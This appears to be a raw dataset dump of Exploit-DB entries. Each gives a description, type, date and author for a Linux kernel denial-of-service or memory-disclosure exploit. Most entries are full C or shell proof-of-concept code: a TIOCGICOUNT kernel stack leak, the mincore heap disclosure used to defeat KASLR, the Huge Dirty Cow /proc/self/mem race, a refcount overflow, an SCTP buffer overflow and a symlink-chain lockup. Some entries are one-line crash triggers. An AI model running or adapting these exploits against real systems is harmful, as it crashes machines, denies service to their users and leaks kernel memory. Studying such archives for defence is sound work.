deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16973
Description: Linux Kenel 2.6.37-rc1 - serial_core TIOCGICOUNT Leak
Type: dos
Platform: linux
Date: 2011-03-14
Author: prdelka

Exploit:
/* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
 * ================================================ 
 * Information leak exploit for CVE-2010-4077 which
 * leaks kernel stack space back to userland due to
 * uninitialized struct member "reserved" in struct
 * serial_icounter_struct copied to userland. uses 
 * ioctl to trigger memory leak, dumps to file and 
 * displays to command line.
 *
 * -- prdelka
 *
 */
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
#include <stdio.h>
#include <stdlib.h>	
#include <string.h>

int main(int argc, char* argv[]) {
    int fd, ret = 0, i;
    struct serial_icounter_struct buffer;
    printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
    if(argc < 2){
	printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
	exit(-1);
    };
    memset(&buffer,0,sizeof(buffer));
    if((fd = open(argv[1], O_RDONLY)) == -1){
	printf("[ Couldn't open %s\n",argv[1]);
	exit(-1);
    }
    if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
	printf("[ Problem with ioctl() request\n");
	exit(-1);
    }
    close(fd); 
    for(i=0;i<=9;i++){
            printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
    };
    if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
	printf("[ Can't open file to write memory out\n");
	exit(-1);
    }
    for(i=0;i<=9;i++){
	    ret += write(fd,&buffer.reserved[i],sizeof(int));
    }
    close(fd);
    printf("[ Written %d leaked bytes to ./leak\n",ret);
    exit(0);
}
Exploit-DB #32451
Description: Linux Kernel (Fedora 8/9) - 'utrace_control' Null Pointer Dereference Denial of Service
Type: dos
Platform: linux
Date: 2008-10-02
Author: Michael Simms

Exploit:
source: https://www.securityfocus.com/bid/31536/info

Fedora 8 and 9 Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected kernel, denying service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.

Note that this issue does not affect upstream kernel versions. Only the following Fedora distributions are affected:

Fedora 8 prior to kernel-2.6.26.5-28
Fedora 9 prior to kernel-2.6.26.5-45

An attacker can exploit this issue with readily available tools.

The following 'gdb' command is sufficient to trigger a kernel crash:

gdb any_executable 1
Exploit-DB #32926
Description: Linux Kernel - 'group_info' refcounter Overflow Memory Corruption
Type: dos
Platform: linux
Date: 2014-04-18
Author: Thomas Pollet

Exploit:
/*
 * DoS poc for CVE-2014-2851
 * Linux group_info refcounter overflow memory corruption
 *
 * https://lkml.org/lkml/2014/4/10/736
 *
 * @Tohmaxx - http://thomaspollet.blogspot.be
 *
 * If the app doesn't crash your system, try a different count (argv[1])
 * Execution takes a while because 2^32 socket() calls
 *
 */

#include <arpa/inet.h>
#include <stdio.h>
#include <sys/socket.h>
int main(int argc, char *argv[]) {
    int i ;
    struct sockaddr_in saddr;
    unsigned count = (1UL<<32) - 20 ;
    if(argc >= 2){
        // Specify count
        count = atoi(argv[1]);
    }
    printf("count 0x%x\n",count);
    for(i = 0 ; (unsigned)i < count;i++ ){
        socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
        if ( i % ( 1 << 22 ) == 0 )
            printf("%i \n",i);
    }
    //Now make it wrap and crash:
    system("/bin/echo bye bye");
}
Exploit-DB #44304
Description: Linux Kernel - 'mincore()' Heap Page Disclosure (PoC)
Type: dos
Platform: linux
Date: 2017-12-11
Author: anonymous

Exploit:
/*
 * The source is modified from 
 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
 * I try to find out infomation useful from the infoleak
 * The kernel address can be easily found out from the uninitialized memory
 * leaked from kernel, which can help bypass kaslr
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

int main(void) {
  unsigned char buf[getpagesize()/sizeof(unsigned char)];
  int right = 1;
  unsigned long addr = 0;
  
  /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
  if (mmap((void*)0x66000000, 0x[PII_REDACTED]0, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  while(right){
    /* Touch a mishandle with this type mapping */
    if (mincore((void*)0x86000000, 0x1000000, buf))
      perror("mincore");
    for( int n=0; n<getpagesize()/sizeof(unsigned char); n++) {
      addr = *(unsigned long*)(&buf[n]);
      /* Kernel address space, may need some mask&offset */
      if(addr > 0xffffffff00000000){
	right = 0;
	goto out;
      }
    }
  }
 out:
  printf("%p\n", addr);
  return 0;
}
Exploit-DB #43178
Description: Linux Kernel - 'mincore()' Uninitialized Kernel Heap Page Disclosure
Type: dos
Platform: linux
Date: 2017-11-24
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1431

I found the following bug with an AFL-based fuzzer:

When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.

This bug can be reproduced with the following testcase:

$ cat mincore_test.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

unsigned char mcbuf[0x1000];

int main(void) {
  if (mmap((void*)0x66000000, 0x[PII_REDACTED]0, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  for (int i=0; i<10000; i++) {
    if (mincore((void*)0x86000000, 0x1000000, mcbuf))
      perror("mincore");
    write(1, mcbuf, 0x1000);
  }
}

/*
$ gcc -o mincore_test mincore_test.c -Wall
$ ./mincore_test | hexdump -C | head
00000000  00 00 00 00 00 00 00 00  00 00 00 00 fe 01 00 00  |................|
00000010  80 49 3d 20 c6 e9 ff ff  c0 49 3d 20 c6 e9 ff ff  |.I= .....I= ....|
00000020  00 08 3c 20 c6 e9 ff ff  40 08 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000030  80 08 3c 20 c6 e9 ff ff  c0 08 3c 20 c6 e9 ff ff  |..< ......< ....|
00000040  00 09 3c 20 c6 e9 ff ff  40 09 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000050  80 09 3c 20 c6 e9 ff ff  c0 09 3c 20 c6 e9 ff ff  |..< ......< ....|
00000060  00 06 3c 20 c6 e9 ff ff  40 06 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000070  80 06 3c 20 c6 e9 ff ff  c0 06 3c 20 c6 e9 ff ff  |..< ......< ....|
00000080  00 07 3c 20 c6 e9 ff ff  40 07 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000090  80 07 3c 20 c6 e9 ff ff  80 78 84 0b c6 e9 ff ff  |..< .....x......|

fixed at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=373c4557d2aa362702c4c2d41288fb1e54990b7c

The fix has landed in the following upstream stable releases:
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.14.2
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.16
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.65
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.101

*/
Exploit-DB #24747
Description: Linux Kernel - 'SCTP_GET_ASSOC_STATS()' Stack Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2013-03-13
Author: Petr Matousek

Exploit:
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SCTP_GET_ASSOC_STATS 112
#define SOL_SCTP 132

int main(void)
{
	char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	socklen_t len = strlen(buf);
	int fd;

	fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len);
	return 0;
}
Exploit-DB #44305
Description: Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)
Type: dos
Platform: linux
Date: 2017-12-11
Author: anonymous

Exploit:
/*
 * The code is modified from https://www.exploit-db.com/exploits/43199/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>

#define TRIES_PER_PAGE (20000000)
#define PAGE_SIZE (0x1000)
#define MEMESET_VAL (0x41)
#define MAP_SIZE (0x200000)
#define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define OFFSIZE ((sizeof(STRING)-1)/sizeof(char))

struct args{
  int fd;
  void *p;
  int stop;
  off_t off;
  char *chp;
};

void *write_thread(struct args *arg) {
  for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) {
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
    write(arg->fd, STRING, sizeof(STRING));
    lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
  }
  return NULL;
}

void *wait_for_success(struct args *arg) {
  while(*(arg->chp+arg->off*OFFSIZE) != 'A') {
    int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED);
    sched_yield();
  }
  arg->stop = 1;
  return NULL;
}

int main(void) {
  struct args arg;

  arg.off = 0;
  
  arg.p =  mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  
  if(arg.p == MAP_FAILED)
    perror("[!] mmap()");
  arg.chp = arg.p;
  printf("mmap address is %p\n", arg.p);
  madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE);

  arg.fd = open("/proc/self/mem", O_RDWR);
  if (arg.fd < 0) {
    perror("[!] open()");
    return 1;
  }
  
  
  while(arg.off < PAGE_SIZE/sizeof(STRING)) {
    arg.stop = 0;
    pthread_t thread0, thread1;
    int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg);
    ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg);
    
    if (ret) {
      perror("[!] pthread_create()");
      return 1;
    }
    
    pthread_join(thread0, NULL);
    pthread_join(thread1, NULL); 
   
    printf("[*] Done 0x%x String\n", arg.off);
    arg.off++;
  }
  printf("[*] Overwrite a page\n");
  printf("%s\n", arg.p);
  return 0;
}
Exploit-DB #19271
Description: Linux Kernel 2.0 - TCP Port Denial of Service
Type: dos
Platform: linux
Date: 1999-01-19
Author: David Schwartz

Exploit:
/*
source: https://www.securityfocus.com/bid/343/info


It is possible to leak kernel memory and render TCP ports above 1024 unusable, locked forever in the CLOSE_WAIT state in linux kernels prior to the late 2.1.x and 2.2.0pre releases. In addition to being intentionally exploited, unix applications compiled on linux that are multithreaded may also cause these problems.

Below is a harmless example of the exploit:
*/


// This program will kill a random port on a linux machine. The kernel will

// forever listen to that port and send the connections nowhere. Tested with

// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,

// but removing LinuxThreads from your system will not solve the problem.

// Discovered by David J. Schwartz <davids@webmaster.com>

// Copyright (C) 1998, David J. Schwartz

// Compile with:

// gcc killport.c -lpthread -o killport

#include <pthread.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <errno.h>

volatile int s;

void *Thread1(void *a)

{

int i,p;

struct sockaddr_in to;

fd_set fd;

s=socket(AF_INET, SOCK_STREAM, 0);

if(s<=0) return;

memset(&to, 0, sizeof(to));

srand(getpid());

/* we pick a random port between 50000 and 59999 */

p=(rand()%10000)+50000;

printf("port = %d\n", p);

fflush(stdout);

to.sin_port=htons(p);

to.sin_addr.s_addr=0;

to.sin_family=AF_INET;

if(bind(s, (struct sockaddr *)&to, sizeof(to))<0) fprintf(stderr,"no bind\n");

if(listen(s,10)!=0)

fprintf(stderr,"No Listen\n");

/* now we are listening on that port */

i=sizeof(to);

FD_ZERO(&fd);

FD_SET(s,&fd);

select(s+1,&fd,NULL,NULL,NULL);

/* at this point we have selected on it as well */

fprintf(stderr,"select returned!\n");

}

void *Thread2(void *a)

{

close(s);

fflush(stderr);

abort();

}

void main(void)

{

pthread_t j;

pthread_create(&j,NULL,Thread1,NULL);

usleep(100); /* give the other thread time to finish */

pthread_create(&j,NULL,Thread2,NULL);

while(1) sleep(1);

}
Exploit-DB #19675
Description: Linux Kernel 2.0.x (Debian 2.1 / RedHat 5.2) - Packet Length with Options
Type: dos
Platform: linux
Date: 1999-12-08
Author: Andrea Arcangeli

Exploit:
/*
source: https://www.securityfocus.com/bid/870/info

Debian 2.1,Linux kernel 2.0.34/2.0.35/2.0.36/2.0.37/2.0.38,RedHat 5.2 i386 Packet Length with Options Vulnerability

A vulnerability in the Linux kernel's TCP/IP allows local users to crash, hang or corrupt the system.

A local user can crash, hang or currupt the system by sending out a packet with options longer than the maximum IP packet length. An easy way to generate such packet is by using the command "ping -s 65468 -R ANYADDRESS". The -R option is for the IP record route option. Under kernel versions 2.2.X the command will fail with an message of "message too long".

The vulnerability seems to be the result of the kernel not checking aif packet with options is longer than the maximum packet size. A long packet seems to lead to memory corruption. 
*/


/* Exploit option length missing checks in Linux-2.0.38
   Andrea Arcangeli <andrea@suse.de> */

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

main()
{
	int sk;
	struct sockaddr_in sin;
	struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
	char payload[PAYLOAD_SIZE];

	sk = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk < 0)
		perror("socket"), exit(1);

	if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
		perror("setsockopt"), exit(1);

	bzero((char *)&sin, sizeof(sin));

	sin.sin_port = htons(0);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl[PII_REDACTED]);

	if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
		perror("connect"), exit(1);

	if (write(sk, payload, PAYLOAD_SIZE) < 0)
		perror("write"), exit(1);
}
Exploit-DB #19308
Description: Linux Kernel 2.0/2.0.33 - i_count Overflow (PoC)
Type: dos
Platform: linux
Date: 1998-01-14
Author: Aleph One

Exploit:
/*
source: https://www.securityfocus.com/bid/388/info

The i_count member in the Linux inode structure is an unsigned short integer. It can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access on the target machine or cause a denial of service.

Below is a short example of how this vulnerability can be exploited:
*/

#include <unistd.h> 
#include <fcntl.h>

#include <sys/mman.h>

void main()

{

int fd, i;

fd = open("/lib/libc.so.5", O_RDONLY);

for(i = 0; i < 65540; i++)

{

mmap((char*)0x50000000 + (0x1000 * i), 0x1000,

PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);

}

}
Exploit-DB #19085
Description: Linux Kernel 2.0/2.1 - Send a SIGIO Signal To Any Process
Type: dos
Platform: linux
Date: 1998-06-30
Author: David Luyer

Exploit:
/*
source: https://www.securityfocus.com/bid/111/info

A vulnerability in the Linux kernel allows any user to send a SIGIO signal to any process. If the process does not catch or ignore the signal is will exit.
*/

/* On non-glibc systems you must add
*
* #define O_ASYNC FASYNC
*/
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
int s, p;

if(argc != 2) {
fputs("Please specify a pid to send signal to.\n", stderr);
exit(0);
} else {
p = atoi(argv[1]);
}
fcntl(0,F_SETOWN,p);
s = fcntl(0,F_GETFL,0);
fcntl(0,F_SETFL,s|O_ASYNC);
printf("Sending SIGIO - press enter.\n");
getchar();
fcntl(0,F_SETFL,s&~O_ASYNC);
printf("SIGIO send attempted.\n");
return 0;
}
Exploit-DB #19250
Description: Linux Kernel 2.0/2.1/2.2 - 'autofs' Denial of Service
Type: dos
Platform: linux
Date: 1999-02-19
Author: Brian Jones

Exploit:
source: https://www.securityfocus.com/bid/312/info

The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called.

The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry->d_name.name and dentry->d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry->d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot .

In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case:

[user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'`

invalid operand: 0000

CPU: 0

EIP: 0010:[<c0155b00>]

EFLAGS: 00010282

eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000

esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8

ds: 0018 es: 0018 ss: 0018

Process bash (pid: 360, process nr: 21, stackpage=c26c5000)

Stack: [PII_REDACTED] c260d940 c260d[PII_REDACTED]6 c0154c58 c0154ca8

c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900

c260d900

Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>]

[<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>]

Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74

-{Shell dies}-
Exploit-DB #19272
Description: Linux Kernel 2.2 - 'ldd core' Force Reboot (Denial of Service)
Type: dos
Platform: linux
Date: 1999-01-26
Author: Dan Burcaw

Exploit:
source: https://www.securityfocus.com/bid/344/info


Due to a rare and subtle bug in the 2.2.0 kernel, a linux machine can be forced to reboot by an unpriviliged local user. The reason for this is because of the invalid ELF core layout and the fact that munmap wipes out a vital page table entry.

Only kernel 2.2.0 is vulnerable to this.


Take any core file,

[user@box tmp]$ ldd core

[reboot]
Exploit-DB #22105
Description: Linux Kernel 2.2 - 'mmap()' Local Denial of Service
Type: dos
Platform: linux
Date: 2002-12-17
Author: Michal Zalewski

Exploit:
/*
source: https://www.securityfocus.com/bid/6420/info

A denial of service vulnerability has been discovered in the Linux 2.2 kernel. It has been reported that it is possible for an unprivileged user to cause the kernel to stop responding due to a bug in the implementation of mmap().

It should be noted that this issue does not affect the 2.4 kernel tree. This is because support for mmap() in the /proc/pid/mem implementation has been dropped. 
*/


   #define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];
       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   }
Exploit-DB #19818
Description: Linux Kernel 2.2.12/2.2.14/2.3.99 (RedHat 6.x) - Socket Denial of Service
Type: dos
Platform: linux
Date: 2000-03-23
Author: Jay Fenlason

Exploit:
/*
source: https://www.securityfocus.com/bid/1072/info

A denial of service exists in Linux kernels, as related to Unix domain sockets ignoring limits as set in /proc/sys/net/core/wmem_max. By creating successive Unix domain sockets, it is possible to cause a denial of service in some versions of the Linux kernel. Versions 2.2.12, 2.2.14, and 2.3.99-pre2 have all been confirmed as being vulnerable. Previous kernel versions are most likely vulnerable. 
*/


#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
return 0;
}
Exploit-DB #21122
Description: Linux Kernel 2.2/2.4 - Deep Symbolic Link Denial of Service
Type: dos
Platform: linux
Date: 2001-10-18
Author: Nergal

Exploit:
source: https://www.securityfocus.com/bid/3444/info

A denial-of-service vulnerability exists in several versions of the Linux kernel.

The problem occurs when a user with local access creates a long chain of symbolically linked files. When the kernel dereferences the symbolic links, the process scheduler is blocked, effecively locking the system until the dereferencing is complete. 

#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
        P=$P"$EL"
        I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
	echo A numerical argument is required.
	exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l